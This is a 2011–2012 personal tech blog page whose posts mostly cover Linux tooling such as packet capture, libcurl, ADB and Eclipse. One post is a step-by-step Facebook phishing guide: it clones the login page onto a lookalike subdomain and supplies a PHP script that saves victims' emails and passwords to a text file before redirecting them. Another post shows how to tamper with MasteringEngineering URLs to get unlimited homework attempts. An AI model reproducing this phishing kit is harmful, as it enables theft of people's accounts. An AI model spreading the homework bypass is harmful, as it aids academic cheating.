Jared Burrows Blog

Wednesday, February 1, 2012

How to capture packets using Wireshark/Aircrack/TCPDump

Capturing Packets
Analyzing packets is very important in order to see where your data is being sent and received. Here are some good tools and commands to get you going:

Wireshark: www.wireshark.org/

Install: sudo apt-get install wireshark
Different filters:
port 80
http contains msg_text
ip.addr == 192.168.2.8
ip.dst == 192.168.2.8
ip.src == 192.168.2.8
tcp.port == 80 || http
http.request.method == "GET"
http.request.method == "POST"

Aircrack suite: www.aircrack-ng.org/

Install: sudo apt-get install aircrack-ng
Different examples:
sudo airmon-ng start wlan0
sudo airodump-ng mon0 -w OUTPUTFILE

Analyzing Packets:
TCP Dump: www.tcpdump.org/

Install: sudo apt-get install tcpdump
Different examples:
tcpdump -ttttnnr tcp_dump.pcap
tcpdump -qns 0 -A -r blah.pcap
tcpick -C -yP -r tcp_dump.pcap
tcpdump -qns 0 -A -r tcp_dump.pcap
tcpdump -qns 0 -X -r tcp_dump.pcap

Friday, December 16, 2011

How to use libcurl in C/C++

libcurl
Newer languages such as Java and newer scripting languages such as Python come with good libraries to download files and do online work. A good way to download files using C/C++ is to download and install the libcurl library.

First run 'curl-config --libs' to see if you have the library '-libcurl'
search for the package: 'apt-cache search libcurl'
install the package: 'sudo apt-get install libcurl4-nss-dev'
check to see if you have the package again

Next, go to http://curl.haxx.se/libcurl/c/simple.html. Copy and paste the code, save as 'simple.c' Change the "http://example.com" to something you want.

Compile your code: 'gcc simple.c -lcurl -o simple.out'
Run the code: './simple.out'

Output of (http://www.google.com/):

<html><head><meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>301 Moved</TITLE></HEAD><body>
<h1>
301 Moved</H1>
The document has moved
<a HREF="http://www.google.com/">here</A>.
</BODY></HTML>

http://curl.haxx.se/libcurl/c/simple.html

Saturday, December 10, 2011

How to hack Facebook accounts with a Phishing Scam

Facebook phishing scam

Its so amazing how easily people's emails and passwords are stolen in a matter of seconds. Phishing scams happen all the time, however the "frfacebook.fr" phishing scam went on for sometime, stealing hundreds of people's account information.

Most phishing scams involve Social Engineering, in which the attacker must talk the victim into doing at least one step in order for them to steal their information. In these Facebook phishing scams, they are much easier because Facebook is very social as it is. This particular Facebook scam simply posted the user's credentials in plain text in a text file located on the website.

So, I figured I would create my own to show how easy it really is.
Things you need: website, html, php
-extra: able to create long subdomains

1. Get the source code of the Facebook homepage: 
   curl -s -L facebook.com > index.html
2. Create a sub-domain on your website or buy a website name
3. I simply created a sub-domain called "facebook.com"
   This sub-domain adds on to your real domain. 
   Ex. facebook.com.(your domain).com
4. Now create Facebook-like folders that resemble legitimate 
   Facebook url
      I copied how Facebook did the groups folder and numbering. 
      Ex. facebook.com.(domain).com/groups/(15 digit number)/
5. The last step is to actually retrieve the data. Since php 
   is installed on my server, i created a login php script called
   "index.php" that takes the posts and saves them to a .txt file.
7. For the source code, submit form:
   a. change the action to action="/PATH/TO/PHP/SCRIPT/"
      - best to name the script index.php
   b. change the text field "name" of the email field to something 
      simple "VICTIM_EMAIL"
   c. then change the password field "name" to "VICTIM_PASS"
8. Make sure you have the "pass.txt" for the dumped passes in the 
   specified directory
9. Script I used (index.php): 

<?header("Location: http://www.facebook.com/groups/(15 digit number)/");
$myusername=$_POST['VICTIM_EMAIL'];
$mypassword=$_POST['VICTIM_PASS'];
$filename = 'pass.txt';
if (empty($VICTIM_EMAIL) || empty($VICTIM_PASS)) {
}else {
$myline = "Email: $VICTIM_EMAIL\nPassword: $VICTIM_PASS\n\n";
}if (is_writable($filename)) {
if (!$handle = fopen($filename, 'a+')) {
echo "Cannot open file ($filename)";
exit;}
if (fwrite($handle, $myline) === FALSE) {
echo "Cannot write to file ($filename)";
exit;}
echo "\nSuccess, wrote ($myline) to file ($filename)";
fclose($handle);
} else {
echo "The file $filename is not writable";}?>

In the script above, the header() function redirects the real Facebook url I want my victim to get to after I took their email and pass. This way they believe they were logged out when they clicked the link and will most likely just "sign" back in.

The final result: facebook.com.(domain).com/groups/(15 digit number)/index.php.
Simply give the victim the url without the "index.php" and check the "pass.txt" for the results.

Monday, November 21, 2011

How to hack MasteringEngineering with unlimited Attempts

Extra Tries and Answers
Ok, we all have been screwed over mastering engineering because of drawing vectors or simply being a decimal point off. Every time you enter an answer and accidentally get it wrong it says how many attempts you have left and takes points away each time. Im sick and tired of this crap.

Go to the Main Page:
http://session.masteringengineering.com/myct/courseHome?start=1

Click on your assignment, the box with all the questions will pop up.

Put your cursor on each link and read the link, their are unique IDs 
for every problem.

Ex. http://session.masteringengineering.com/myct/itemView?
assignmentProblemID=1565835&frame=banner

To "rework" and have unlimited tries until how to really work the 
problem, copy and paste the URL in the address bar and change the 
URL from:
http://session.masteringengineering.com/myct/itemView?
assignmentProblemID=1565835&frame=banner

to the new URL:
http://session.masteringengineering.com/myct/itemView?
assignmentProblemID=1565968&rework=1

The "1565968" problem ID is not unique and can be shared with others
doing the same problems.

Thursday, November 17, 2011

How to create Desktop Icons in Ubuntu

Desktop Icons

Where program is located:
echo $SHELL

Creating the Terminal Icon on the Desktop, just like Ubuntu 10.04

gnome-desktop-item-edit --create-new ~/Desktop

Application: /bin/bash

Wednesday, October 26, 2011

How to setup ADB for Linux terminals

Run adb from terminal
Since the new Eclipse and Android SDK install I had to redo this:

Open your .bashrc, located in your /home/"user"/ and add this:

# Android tools
export PATH=${PATH}:~/android-sdk-linux_x86/tools
export PATH=${PATH}:~/android-sdk-linux_x86/platform-tools

Save the file, then in a terminal, type in "source" to refresh the terminal

http://forum.xda-developers.com/showthread.php?p=11823740

Eclipse - Dependency Issues

Failure to Launch
Early this morning I loaded up Eclipse after the latest update(Indigo). To my surprise, all my extra plugins such as ADT and C/C++ were gone. Of course I tried to install them manually again via "Help > Install New Software" and ran into "Dependency Issues". After plenty of installing and re-installing and considering going back to an older version, further Googling led me to just REMOVE all the Eclipse files INCLUDING config files:

Run these commands
sudo -i
 - login as root
apt-get autoremove eclipse
 - unistall
rm -r /usr/lib/eclipse 
 - remove all config files

apt-get install eclipse 
- reinstall

http://ubuntuforums.org/showthread.php?t=1412320

Friday, October 7, 2011

How to disable Avahi Daemon

Disable
package: avahi-daemon

open config file:
 sudo gedit /etc/default/avahi-daemon
set: 
 AVAHI_DAEMON_START = 1

you might also have to:
 sudo gedit /etc/avahi/avahi-daemon.conf
set: 
 use-ipv4=no
 use-ipv6=no

restart:
 sudo /etc/init.d/avahi-daemon restart

or Unistall - Remove Package

sudo apt-get remove avahi-daemon